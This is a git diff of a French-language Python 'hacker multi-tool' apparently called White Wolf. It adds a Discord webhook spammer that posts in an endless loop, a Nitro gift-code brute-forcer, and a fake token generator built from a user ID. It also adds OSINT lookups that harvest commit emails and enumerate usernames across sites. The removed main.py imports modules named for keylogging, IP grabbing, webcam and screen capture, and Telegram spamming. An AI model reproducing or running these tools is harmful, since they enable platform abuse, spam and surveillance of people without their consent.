darkweb_display(): + os.system("cls") + print(""" + ██████╗ █████╗ ██████╗ ██╗ ██╗ ██╗ ██╗███████╗██████╗ + ██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝ ██║ ██║██╔════╝██╔══██╗ + ██║ ██║███████║██████╔╝█████╔╝ ██║ █╗ ██║█████╗ ██████╔╝ + ██║ ██║██╔══██║██╔══██╗██╔═██╗ ██║███╗██║██╔══╝ ██╔══██╗ + ██████╔╝██║ ██║██║ ██║██║ ██╗ ╚███╔███╔╝███████╗██████╔╝ + ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚══╝╚══╝ ╚══════╝╚═════╝ + """) + try: + for category, content in links.items(): + print(f"\n--- {category} ---") + for name, url in content.items(): + if isinstance(url, dict): + print(f"\n [{name}]") + for sub_name, sub_url in url.items(): + print(f" - {sub_name} : {sub_url}") + else: + print(f" - {name} : {url}") + except Exception as e: + print(f"Error {e}") + time.sleep(10) diff --git a/code/discord/nitro.py b/code/discord/nitro.py new file mode 100644 index 0000000..39456f8 --- /dev/null +++ b/code/discord/nitro.py @@ -0,0 +1,27 @@ +import os +import string +import random +import requests + + +def nitro_gen(): + os.system("cls") + nombre = input(""" + ███╗ ██╗██╗████████╗██████╗ ██████╗ + ████╗ ██║██║╚══██╔══╝██╔══██╗██╔═══██╗ + ██╔██╗ ██║██║ ██║ ██████╔╝██║ ██║ + ██║╚██╗██║██║ ██║ ██╔══██╗██║ ██║ + ██║ ╚████║██║ ██║ ██║ ██║╚██████╔╝ + ╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ + Met le nombre de fois que tu veux essayé : """) + try: + nombre = int(nombre) + for i in range(nombre): + char = string.ascii_letters + string.digits + result = ''.join(random.choice(char) for _ in range(16)) + response = requests.get(f"https://discord.gift/{result}") + if response.ok: + with open("nitro.txt", "a", encoding="utf-8") as fichier: + fichier.write(f"https://discord.gift/{result}\n") + except: + print("Ca Nas pas marché sorry :)") diff --git a/code/discord/token_tools.py b/code/discord/token_tools.py new file mode 100644 index 0000000..9bb8545 --- /dev/null +++ b/code/discord/token_tools.py @@ -0,0 +1,29 @@ +import os +import base64 +import string +import random +import time + + +def token_bruteforce(): + os.system("cls") + id = input(""" + ████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗ + ╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║ + ██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║ + ██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║ + ██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║ + ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ + + Met L'id du gars : """) + try: + user_id = id + part1 = base64.b64encode(user_id.encode()).decode() + part2 = ''.join(random.choices(string.ascii_letters + string.digits, k=12)) + part3 = ''.join(random.choices(string.ascii_letters + string.digits, k=18)) + token = f"{part1}.{part2}.{part3}" + print(f"\nToken : \n {token}") + time.sleep(2) + except: + print("Ca na pas marché") + time.sleep(2) diff --git a/code/discord/webhook_spam.py b/code/discord/webhook_spam.py new file mode 100644 index 0000000..355927c --- /dev/null +++ b/code/discord/webhook_spam.py @@ -0,0 +1,38 @@ +import os +import time +import requests + + +def webhook_spam(): + os.system("cls") + message = input(""" + ██╗ ██╗███████╗██████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗ + ██║ ██║██╔════╝██╔══██╗██║ ██║██╔═══██╗██╔═══██╗██║ ██╔╝ + ██║ █╗ ██║█████╗ ██████╔╝███████║██║ ██║██║ ██║█████╔╝ + ██║███╗██║██╔══╝ ██╔══██╗██╔══██║██║ ██║██║ ██║██╔═██╗ + ╚███╔███╔╝███████╗██████╔╝██║ ██║╚██████╔╝╚██████╔╝██║ ██╗ + ╚══╝╚══╝ ╚══════╝╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ + + Choisis Le message a spam : """) + os.system("cls") + url = input(""" + ██╗ ██╗███████╗██████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗ + ██║ ██║██╔════╝██╔══██╗██║ ██║██╔═══██╗██╔═══██╗██║ ██╔╝ + ██║ █╗ ██║█████╗ ██████╔╝███████║██║ ██║██║ ██║█████╔╝ + ██║███╗██║██╔══╝ ██╔══██╗██╔══██║██║ ██║██║ ██║██╔═██╗ + ╚███╔███╔╝███████╗██████╔╝██║ ██║╚██████╔╝╚██████╔╝██║ ██╗ + ╚══╝╚══╝ ╚══════╝╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ + + Choisis L'url : """) + + response = requests.get(url) + if response.ok: + try: + while True: + data = {"content": message} + r = requests.post(url, json=data) + print(r.status_code, r.text) + time.sleep(5) + except Exception as e: + print("Ca nas pas marché", e) + time.sleep(5) diff --git a/code/lookup/__init__.py b/code/lookup/__init__.py new file mode 100644 index 0000000..1e612eb --- /dev/null +++ b/code/lookup/__init__.py @@ -0,0 +1,7 @@ +from code.lookup.username_lookup import username_lookup +from code.lookup.google_search import google_search +from code.lookup.dns_lookup import dns_lookup +from code.lookup.discord_lookup import discord_lookup +from code.lookup.github_lookup import github_lookup +from code.lookup.leak_check import leak_check +from code.lookup.archive_check import archive_check diff --git a/code/lookup/archive_check.py b/code/lookup/archive_check.py new file mode 100644 index 0000000..f9c175c --- /dev/null +++ b/code/lookup/archive_check.py @@ -0,0 +1,34 @@ +import os +import time +import requests +from code.colors import YELLOW + + +def archive_check(): + os.system("cls") + choix_url = input(f""" {YELLOW} + █████╗ ██████╗ ██████╗██╗ ██╗██╗██╗ ██╗███████╗ + ██╔══██╗██╔══██╗██╔════╝██║ ██║██║██║ ██║██╔════╝ + ███████║██████╔╝██║ ███████║██║██║ ██║█████╗ + ██╔══██║██╔══██╗██║ ██╔══██║██║╚██╗ ██╔╝██╔══╝ + ██║ ██║██║ ██║╚██████╗██║ ██║██║ ╚████╔╝ ███████╗ + ╚═╝ ╚═╝╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚══════╝ + + Met le lien de ton site : """) + try: + url_du_site = choix_url + api_url = f"https://archive.org/wayback/available?url={url_du_site}" + response = requests.get(api_url) + data = response.json() + if response.ok: + print(f"Status : {data['archived_snapshots']['closest']['status']}") + print(f"Disponible : {data['archived_snapshots']['closest']['available']}") + print(f"Archive : {data['archived_snapshots']['closest']['url']}") + print(f"Timestamp : {data['archived_snapshots']['closest']['timestamp']}") + time.sleep(5) + else: + print("Une erreur et survenue") + time.sleep(3) + except Exception as e: + print(f"Error {e}") + time.sleep(3) diff --git a/code/lookup/discord_lookup.py b/code/lookup/discord_lookup.py new file mode 100644 index 0000000..8fda631 --- /dev/null +++ b/code/lookup/discord_lookup.py @@ -0,0 +1,45 @@ +import os +import time +import requests + + +def discord_lookup(): + os.system("cls") + lookup = input(f""" + ██████╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ + ██╔══██╗██║██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔══██╗ + ██║ ██║██║███████╗██║ ██║ ██║██████╔╝██║ ██║ + ██║ ██║██║╚════██║██║ ██║ ██║██╔══██╗██║ ██║ + ██████╔╝██║███████║╚██████╗╚██████╔╝██║ ██║██████╔╝ + ╚═════╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ + + Choisis L'id Du gars que tu veux lookup : """) + + url = f"https://api.vaultcord.com/webhooks/public-lookup/{lookup}" + + try: + headers = { + "User-Agent": "Mozilla/5.0" + } + response = requests.get(url, headers=headers, timeout=10) + if response.ok: + try: + data = response.json() + print(f"Id : {data.get('id')}") + print(f"Username : {data.get('username')}") + print(f"Avatar : {data.get('avatar')}") + print(f"Discriminator : {data.get('discriminator')}") + print(f"Public flags : {data.get('public_flags')}") + print(f"Flags : {data.get('flags')}") + print(f"Global name : {data.get('global_name')}") + time.sleep(7) + except ValueError: + print("La réponse n'est pas au format JSON :") + print(response.text) + time.sleep(3) + else: + print(f"Erreur HTTP {response.status_code}") + print(response.text) + time.sleep(3) + except requests.exceptions.RequestException as e: + print(f"Erreur lors de la requête : {e}") diff --git a/code/lookup/dns_lookup.py b/code/lookup/dns_lookup.py new file mode 100644 index 0000000..5f7715c --- /dev/null +++ b/code/lookup/dns_lookup.py @@ -0,0 +1,35 @@ +import os +import time +import requests +from api import api_dns + + +def dns_lookup(): + os.system("cls") + dns = input(""" + ██████╗ ███╗ ██╗███████╗ ██╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗██████╗ + ██╔══██╗████╗ ██║██╔════╝ ██║ ██╔═══██╗██╔═══██╗██║ ██╔╝██║ ██║██╔══██╗ + ██║ ██║██╔██╗ ██║███████╗ ██║ ██║ ██║██║ ██║█████╔╝ ██║ ██║██████╔╝ + ██║ ██║██║╚██╗██║╚════██║ ██║ ██║ ██║██║ ██║██╔═██╗ ██║ ██║██╔═══╝ + ██████╔╝██║ ╚████║███████║ ███████╗╚██████╔╝╚██████╔╝██║ ██╗╚██████╔╝██║ + ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝ + Choisis l'url du site que tu veux lookup : """) + api = f"https://api.viewdns.info/abuselookup/?domain={dns}&apikey={api_dns}&output=json" + response = requests.get(api) + data = response.json() + try: + if response.ok: + print(f"Tool : {data['query']['tool']}") + print(f"Domaine : {data['query']['domain']}") + print(f"Abuse contact : {data['response']['abusecontact']}") + time.sleep(2) + print("") + print("Tu va ètre renvoyer a l'acueil dans 2s") + time.sleep(2) + else: + print(f"Error: {response.status_code}, {response.text}") + time.sleep(2) + print("Tu va ètre renvoyer a l'acueil dans 2s") + time.sleep(2) + except Exception as e: + print(f"Error {e}") diff --git a/code/lookup/github_lookup.py b/code/lookup/github_lookup.py new file mode 100644 index 0000000..a634e0f --- /dev/null +++ b/code/lookup/github_lookup.py @@ -0,0 +1,47 @@ +import os +import time +import requests + + +def github_lookup(): + os.system("cls") + username = input(""" + ██████╗ ██╗████████╗██╗ ██╗██╗ ██╗██████╗ + ██╔════╝ ██║╚══██╔══╝██║ ██║██║ ██║██╔══██╗ + ██║ ███╗██║ ██║ ███████║██║ ██║██████╔╝ + ██║ ██║██║ ██║ ██╔══██║██║ ██║██╔══██╗ + ╚██████╔╝██║ ██║ ██║ ██║╚██████╔╝██████╔╝ + ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ + Le Username github : """) + os.system("cls") + nom_repo = input(""" + ██████╗ ██╗████████╗██╗ ██╗██╗ ██╗██████╗ + ██╔════╝ ██║╚══██╔══╝██║ ██║██║ ██║██╔══██╗ + ██║ ███╗██║ ██║ ███████║██║ ██║██████╔╝ + ██║ ██║██║ ██║ ██╔══██║██║ ██║██╔══██╗ + ╚██████╔╝██║ ██║ ██║ ██║╚██████╔╝██████╔╝ + ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ + Le nom du repo : """) + + url = f"https://api.github.com/repos/{username}/{nom_repo}/commits?per_page=1" + response = requests.get(url) + data = response.json() + try: + if response.ok: + commit_data = data[0] + print(f"Email : {commit_data['commit']['author']['email']}") + print(f"Name : {commit_data['commit']['author']['name']}") + print(f"date : {commit_data['commit']['author']['date']}") + print(f"Msg : {commit_data['commit']['message']}") + print(f"url : {commit_data['html_url']}") + print(f"sign : {commit_data['commit']['verification']['signature']}") + print(f"id : {commit_data['sha']}") + print(f"PDP : {commit_data['author']['avatar_url']}") + print(f"ABO : {commit_data['author']['followers_url']}") + print(f"Node : {commit_data['node_id']}") + time.sleep(5) + elif not response.ok: + print(response.status_code) + time.sleep(5) + except Exception as e: + print(f"Error {e}") diff --git a/code/lookup/google_search.py b/code/lookup/google_search.py new file mode 100644 index 0000000..f6682d6 --- /dev/null +++ b/code/lookup/google_search.py @@ -0,0 +1,21 @@ +import os +import webbrowser + + +def google_search(): + os.system("cls") + search_google = input(""" + ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ███████╗ ███████╗███████╗ █████╗ ██████╗ ██████╗██╗ ██╗ + ██╔════╝ ██╔═══██╗██╔═══██╗██╔════╝ ██║ ██╔════╝ ██╔════╝██╔════╝██╔══██╗██╔══██╗██╔════╝██║ ██║ + ██║ ███╗██║ ██║██║ ██║██║ ███╗██║ █████╗ ███████╗█████╗ ███████║██████╔╝██║ ███████║ + ██║ ██║██║ ██║██║ ██║██║ ██║██║ ██╔══╝ ╚════██║██╔══╝ ██╔══██║██╔══██╗██║ ██╔══██║ + ╚██████╔╝╚██████╔╝╚██████╔╝╚██████╔╝███████╗███████╗ ███████║███████╗██║ ██║██║ ██║╚██████╗██║ ██║ + ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝ + + Fais ta recherche google : """) + try: + query = f"{search_google}" + url = "https://www.google.com/search?q=" + query + webbrowser.open(url) + except Exception as e: + print(f"Error {e}") diff --git a/code/lookup/leak_check.py b/code/lookup/leak_check.py new file mode 100644 index 0000000..f5b3b83 --- /dev/null +++ b/code/lookup/leak_check.py @@ -0,0 +1,30 @@ +import os +import json +import time +import requests + + +def leak_check(): + os.system("cls") + choix_mail = input(""" + ██╗ ███████╗ █████╗ ██╗ ██╗ + ██║ ██╔════╝██╔══██╗██║ ██╔╝ + ██║ █████╗ ███████║█████╔╝ + ██║ ██╔══╝ ██╔══██║██╔═██╗ + ███████╗███████╗██║ ██║██║ ██╗ + ╚══════╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ + Choisis Le mail que tu veux verifié : """) + url = f"https://leakcheck.io/api/public?check={choix_mail}" + response = requests.get(url) + data = response.json() + try: + if response.ok: + print("Tout les données sont dasn result.json") + time.sleep(5) + with open("result.json", "w", encoding="utf-8") as fichier: + json.dump(data, fichier, ensure_ascii=False, indent=4) + else: + print("Aucun Resultas ou bug", response.status_codes) + time.sleep(5) + except Exception as e: + print(f"Error {e}") diff --git a/code/lookup/username_lookup.py b/code/lookup/username_lookup.py new file mode 100644 index 0000000..ea850ff --- /dev/null +++ b/code/lookup/username_lookup.py @@ -0,0 +1,25 @@ +import os +import requests + + +def username_lookup(sites_dict): + os.system("cls") + username = input(""" + ██╗ ██╗███████╗███████╗██████╗ ███╗ ██╗ █████╗ ███╗ ███╗███████╗ + ██║ ██║██╔════╝██╔════╝██╔══██╗████╗ ██║██╔══██╗████╗ ████║██╔════╝ + ██║ ██║███████╗█████╗ ██████╔╝██╔██╗ ██║███████║██╔████╔██║█████╗ + ██║ ██║╚════██║██╔══╝ ██╔══██╗██║╚██╗██║██╔══██║██║╚██╔╝██║██╔══╝ + ╚██████╔╝███████║███████╗██║ ██║██║ ╚████║██║ ██║██║ ╚═╝ ██║███████╗ + ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ + + Choisis le username a lookup : """) + try: + for site, url in sites_dict.items(): + full_url = url.format(username) + r = requests.get(full_url) + if r.status_code == 200: + print(f"Trouvé sur {site} : {full_url}") + else: + print(f"Rien Trouvé sur {site}") + except Exception as e: + print(f"Error {e}") diff --git a/code/security/__init__.py b/code/security/__init__.py new file mode 100644 index 0000000..c5aa41f --- /dev/null +++ b/code/security/__init__.py @@ -0,0 +1,5 @@ +from code.security.proxy import proxy_vpn +from code.security.password_gen import gen_password +from code.security.web_status import website_status +from code.security.scraper import http_scraper +from code.security.whois_lookup import whois_lookup diff --git a/code/security/password_gen.py b/code/security/password_gen.py new file mode 100644 index 0000000..646f761 --- /dev/null +++ b/code/security/password_gen.py @@ -0,0 +1,35 @@ +import os +import time +import string +import random + + +def gen_password(): + os.system("cls") + try: + password = input(""" + ██████╗ █████╗ ███████╗███████╗██╗ ██╗ ██████╗ ██████╗ ██████╗ + ██╔══██╗██╔══██╗██╔════╝██╔════╝██║ ██║██╔═══██╗██╔══██╗██╔══██╗ + ██████╔╝███████║███████╗███████╗██║ █╗ ██║██║ ██║██████╔╝██║ ██║ + ██╔═══╝ ██╔══██║╚════██║╚════██║██║███╗██║██║ ██║██╔══██╗██║ ██║ + ██║ ██║ ██║███████║███████║╚███╔███╔╝╚██████╔╝██║ ██║██████╔╝ + ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝ ╚══╝╚══╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ + + Choisis le nombre de lettre & Chifre : """) + except ValueError as e: + print(f"Choisis un nombre valide {e}") + return + + try: + password = int(password) + if password >= 10: + chars = string.ascii_letters + string.digits + string.punctuation + result = ''.join(random.choice(chars) for _ in range(password)) + print("Password :", result) + time.sleep(5) + else: + print("Min 10 char") + time.sleep(5) + except Exception as e: + print(f"Error {e}") + time.sleep(5) diff --git a/code/security/proxy.py b/code/security/proxy.py new file mode 100644 index 0000000..49bb1ca --- /dev/null +++ b/code/security/proxy.py @@ -0,0 +1,79 @@ +import os +import time +import msvcrt +import tempfile +import subprocess +import requests + + +def proxy_vpn(): + os.system("cls") + vpn = input(""" + ██╗ ██╗██████╗ ███╗ ██╗ + ██║ ██║██╔══██╗████╗ ██║ + ██║ ██║██████╔╝██╔██╗ ██║ + ╚██╗ ██╔╝██╔═══╝ ██║╚██╗██║ + ╚████╔╝ ██║ ██║ ╚████║ + ╚═══╝ ╚═╝ ╚═╝ ╚═══╝ + + Choisis Le temps que tu a besoin : """) + os.system("cls") + prx = input(""" + ██╗ ██╗██████╗ ███╗ ██╗ + ██║ ██║██╔══██╗████╗ ██║ + ██║ ██║██████╔╝██╔██╗ ██║ + ╚██╗ ██╔╝██╔═══╝ ██║╚██╗██║ + ╚████╔╝ ██║ ██║ ╚████║ + ╚═══╝ ╚═╝ ╚═╝ ╚═══╝ + + Choisis Le Proxy que tu veux : """) + + try: + vpn = int(vpn) + proxy = prx + proxies = { + "http": f"http://{proxy}", + "https": f"http://{proxy}" + } + try: + r = requests.get( + "https://api.ipify.org?format=json", + proxies=proxies, + timeout=5 + ) + print("Proxy OK :", r.json()) + except: + print("Proxy invalide ou mort") + exit() + + os.system("taskkill /F /IM msedge.exe >nul 2>&1") + + if vpn >= 10: + edge_path = r"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" + profile_dir = tempfile.mkdtemp() + subprocess.Popen([ + edge_path, + f"--proxy-server=http://{proxy}", + f"--user-data-dir={profile_dir}", + "--new-window", + "https://api.ipify.org" + ]) + print("\nVPN actif... appuie sur une touche pour arrêter\n") + + start = time.time() + while True: + if msvcrt.kbhit(): + msvcrt.getch() + print("Arrêt demandé retour menu") + os.system("taskkill /F /IM msedge.exe >nul 2>&1") + break + if time.time() - start >= vpn: + print("Temps terminé") + os.system("taskkill /F /IM msedge.exe >nul 2>&1") + break + time.sleep(0.1) + else: + print("Minimum 10 secondes") + + except ValueError: + print("Entrer un nombre valide") diff --git a/code/security/scraper.py b/code/security/scraper.py new file mode 100644 index 0000000..74e58f4 --- /dev/null +++ b/code/security/scraper.py @@ -0,0 +1,30 @@ +import os +import time +import requests + + +def http_scraper(): + os.system("cls") + page = input(""" + ███████╗ ██████╗██████╗ █████╗ ██████╗ ███████╗██████╗ + ██╔════╝██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗ + ███████╗██║ ██████╔╝███████║██████╔╝█████╗ ██████╔╝ + ╚════██║██║ ██╔══██╗██╔══██║██╔═══╝ ██╔══╝ ██╔══██╗ + ███████║╚██████╗██║ ██║██║ ██║██║ ███████╗██║ ██║ + ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚══════╝╚═╝ ╚═╝ + + Met le lien du site : """) + + response = requests.head(page) + try: + if response.ok: + print("header du site :\n") + with open("result.txt", "w", encoding="utf-8") as fichier: + for key, value in response.headers.items(): + print(f"{key} : {value}") + fichier.write(f"{key}, ; {value}\n") + time.sleep(5) + else: + print("Ca marche pas") + except ValueError: + print("Error input") diff --git a/code/security/web_status.py b/code/security/web_status.py new file mode 100644 index 0000000..05b2ba0 --- /dev/null +++ b/code/security/web_status.py @@ -0,0 +1,32 @@ +import os +import time +import requests + + +def website_status(): + os.system("cls") + try: + site = input(""" + ██╗ ██╗███████╗██████╗ ███████╗████████╗ █████╗ ████████╗██╗ ██╗███████╗ + ██║ ██║██╔════╝██╔══██╗ ██╔════╝╚══██╔══╝██╔══██╗╚══██╔══╝██║ ██║██╔════╝ + ██║ █╗ ██║█████╗ ██████╔╝ ███████╗ ██║ ███████║ ██║ ██║ ██║███████╗ + ██║███╗██║██╔══╝ ██╔══██╗ ╚════██║ ██║ ██╔══██║ ██║ ██║ ██║╚════██║ + ╚███╔███╔╝███████╗██████╔╝ ███████║ ██║ ██║ ██║ ██║ ╚██████╔╝███████║ + ╚══╝╚══╝ ╚══════╝╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ + + Choisis l'url du site que tu veux check : """) + except ValueError as e: + print(f"Error {e}") + return + + url = site + response = requests.get(url) + try: + if response.ok: + print(f"Le site a répondu en : {response.elapsed.total_seconds() * 1000:.2f} ms") + time.sleep(3) + else: + print("Le site na pas répondu présents") + time.sleep(3) + except Exception as e: + print(f"Error {e}") diff --git a/code/security/whois_lookup.py b/code/security/whois_lookup.py new file mode 100644 index 0000000..f787bb3 --- /dev/null +++ b/code/security/whois_lookup.py @@ -0,0 +1,37 @@ +import os +import time +from code.colors import RED + + +def whois_lookup(): + try: + import whois + except ImportError: + print("Error: 'python-whois' package is required for whois lookup.") + print("Install it with: pip install python-whois") + time.sleep(5) + return + + try: + site = input(f""" {RED} + ██╗ ██╗██╗ ██╗ ██████╗ ██╗███████╗ + ██║ ██║██║ ██║██╔═══██╗██║██╔════╝ + ██║ █╗ ██║███████║██║ ██║██║███████╗ + ██║███╗██║██╔══██║██║ ██║██║╚════██║ + ╚███╔███╔╝██║ ██║╚██████╔╝██║███████║ + ╚══╝╚══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝╚══════╝ + + Met le lien de ton site : """) + except ValueError as e: + print(f"Error {e}") + return + + try: + data = whois.whois(site) + print(f"Domaine : {data.domain_name}") + print(f"Registrar : {data.registrar}") + print(f"Création : {data.creation_date}") + print(f"Expiration : {data.expiration_date}") + print(f"DNS : {data.name_servers}") + except Exception as e: + print(f"Error {e}") diff --git a/main.py b/main.py index 3dafaf5..9f2b7f6 100644 --- a/main.py +++ b/main.py @@ -1,430 +1,304 @@ -import os -import time -import requests -import webbrowser -import json -import msvcrt -import tempfile -import subprocess -from pypresence import Presence,DiscordNotFound -import random -import string -import base64 -from api import api_ip, api_number, api_dns -from sites import sites -from darkweb import links -from pynput import keyboard -import threading -import io -import mss -import mss.tools -import whois -import os -import subprocess -from tkinter import Tk, filedialog -from code.discordchecker import main as discord_checker -from code.tiktokchecker import tiktok -from code.githubchecker import git -from builder import builder -from code.genip import ip -from code.Spamtlgrm import tlgrm -from code.passwordmanager import passwdmanage -from code.challange.firstchallange import osint -from code.challange.pentestchallange import main as pentest_web -from code.ipscanner import ip -from code.letsenscript import domaine -from code.robloxsearch import roblox -from code.ai import ai -from code.checking import holehe -from code.rpc import rpc_conf -from code.webcamcapt import webcam -from pyfiglet import Figlet -from code.tokencheck import tokenchecker -from code.embedsender import sender -from code.colors import * -from code.ipreputation import ip_reputation -from code.autofollowinsta import instaautomation -from code.ip import ipchoix -from code.number import numberchoix -from code.username import fulluser_name -from code.googlesearching import googlesearch -from code.dnslookup import dnslookup -from code.discord import discord_lookup -from code.github import githubbb -from code.leak import leak -from code.archive import archive -from code.vpn import vpn -from code.password import password -from code.webstatus import webstatus -from code.scraper import scraper -from code.whois import whois -from code.nitro import nitro -from code.webhookspaming import webhookspam -from code.idtotoken import idtotoken -from code.invitbot import invit -from code.kylog import kylog -from code.grabip import grabip -from code.screener import screen - -def rpc(): - try: - rpc = Presence("1441226984024965221") - rpc.connect() - - rpc.update( - state="White Wolf", - details="Best Tools", - large_image="tools", - large_text="by xql", - buttons=[ - { - "label": "Repository", - "url": "https://github.com/Python-loving/WHITEWOLF-TOOLS" - }, - { - "label": "Telegram", - "url": "https://t.me/whitewolf_tools" - } - ] - ) - - while True: - time.sleep(15) - - except DiscordNotFound: - return - -def devtools(): - os.system("cls") - choix = input(f"""{MAGENTA} - ████▄ ██████ ██ ██ ██████ ▄████▄ ▄████▄ ██ ▄█████ - ██ ██ ██▄▄ ██▄▄██ ██ ██ ██ ██ ██ ██ ▀▀▀▄▄▄ - ████▀ ██▄▄▄▄ ▀██▀ ██ ▀████▀ ▀████▀ ██████ █████▀ - - Devtools for xql : """) - f = Figlet(font="slant") - print(f.renderText(choix)) - -# Just for xql ( devtools() ) - -# ANCHOR - Command thread -threading.Thread(target=rpc, daemon=True).start() - -def show_informations(): - os.system("cls") - print(f"""{RED} Informations {RED} - Telegram - https://t.me/whitewolf_tools - Gunslol - https://guns.lol/xqldev - """) - time.sleep(5) - -while True: - os.system("cls") - choix = input(f""" {WHITE} - ██╗ ██╗██╗ ██╗██╗████████╗███████╗██╗ ██╗ ██████╗ ██╗ ███████╗ - ██║ ██║██║ ██║██║╚══██╔══╝██╔════╝██║ ██║██╔═══██╗██║ ██╔════╝ - ██║ █╗ ██║███████║██║ ██║ █████╗ ██║ █╗ ██║██║ ██║██║ █████╗ - ██║███╗██║██╔══██║██║ ██║ ██╔══╝ ██║███╗██║██║ ██║██║ ██╔══╝ - ╚███╔███╔╝██║ ██║██║ ██║ ███████╗╚███╔███╔╝╚██████╔╝███████╗██║ - ╚══╝╚══╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝ ╚══╝╚══╝ ╚═════╝ ╚══════╝╚═╝ - [I]. Informations - - 1. [Lookup] 4. [Covid] - 2. [Sécurity] 5. [Automation] - 3. [Discord] 6. [Quit] - - Fais ton choix : """).lower() - - if choix == "1": - os.system("cls") - choix2 = input(f""" {WHITE} - ██╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗██████╗ - ██║ ██╔═══██╗██╔═══██╗██║ ██╔╝██║ ██║██╔══██╗ - ██║ ██║ ██║██║ ██║█████╔╝ ██║ ██║██████╔╝ - ██║ ██║ ██║██║ ██║██╔═██╗ ██║ ██║██╔═══╝ - ███████╗╚██████╔╝╚██████╔╝██║ ██╗╚██████╔╝██║ - ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ - [I]. Informations - - 1. [IP] 4. [Google] 7. [Github] 10. [4C Tiktok] 13. [SSL / TLS] 16. [Holehe] - 2. [Number] 5. [Dns] 8. [Leak Mail] 11. [4C Github] 14. [Roblox] 17. [Quit] - 3. [Username] 6. [DISCORD] 9. [Archive Web] 12. [IP Scanner] 15. [AI] - - Fais ton choix : """).lower() - if choix2 == "1": - ipchoix() - - elif choix2 == "2": - numberchoix() - - elif choix2 == "3": - fulluser_name() - - elif choix2 == "4": - googlesearch() - - elif choix2 == "5": - dnslookup() - - elif choix2 == "6": - discord_lookup() - - elif choix2 == "7": - githubbb() - - elif choix2 == "8": - leak() - - elif choix2 == "9": - archive() - - elif choix2 == "10": - tiktok() - - elif choix2 == "11": - git() - - elif choix2 == "12": - ip() - - elif choix2 == "13": - domaine() - - elif choix2 == "14": - roblox() - - elif choix2 == "15": - ai() - - elif choix2 == "16": - holehe() - - elif choix2 == "i": - show_informations() - - elif choix2 == "17": - print("Tu va quitté le tools") - time.sleep(2) - print("Au-Revoir :)") - time.sleep(2) - break - - # Menu sécurity - elif choix == "2": - os.system("cls") - choix3 = input(f""" {WHITE} - ███████╗███████╗ ██████╗██╗ ██╗██████╗ ██╗████████╗██╗ ██╗ - ██╔════╝██╔════╝██╔════╝██║ ██║██╔══██╗██║╚══██╔══╝╚██╗ ██╔╝ - ███████╗█████╗ ██║ ██║ ██║██████╔╝██║ ██║ ╚████╔╝ - ╚════██║██╔══╝ ██║ ██║ ██║██╔══██╗██║ ██║ ╚██╔╝ - ███████║███████╗╚██████╗╚██████╔╝██║ ██║██║ ██║ ██║ - ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ - [I]. Informations - 1. [PROXY(VPN)] 4. [Scraper] 7. [Spam Telegram] 10. [Pentest Web] 13. [Quit] - 2. [Gen Password] 5. [Whois] 8. [Passwd Manager] 11. [Webcam] - 3. [Status Website] 6. [Gen IP] 9. [Osint] 12. [Ip reput] - {WHITE} - Fais ton choix : """).lower() - - if choix3 == "1": - vpn() - - elif choix3 == "2": - password() - - elif choix3 == "3": - webstatus() - - elif choix3 == "4": - scraper() - - elif choix3 == "5": - whois() - - elif choix3 == "6": - ip() - - elif choix3 == "7": - tlgrm() - - elif choix3 == "8": - passwdmanage() - - elif choix3 == "9": - osint() - - elif choix3 == "10": - pentest_web() - - elif choix3 == "11": - webcam() - - elif choix3 == "12": - ip_reputation() - - elif choix3 == "i": - show_informations() - - elif choix3 == "13": - print("Au-Revoir a bientot l'amis") - time.sleep(2) - break - # catgegories - elif choix == "3": - os.system("cls") - discord = input(f""" {WHITE} - ██████╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ - ██╔══██╗██║██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔══██╗ - ██║ ██║██║███████╗██║ ██║ ██║██████╔╝██║ ██║ - ██║ 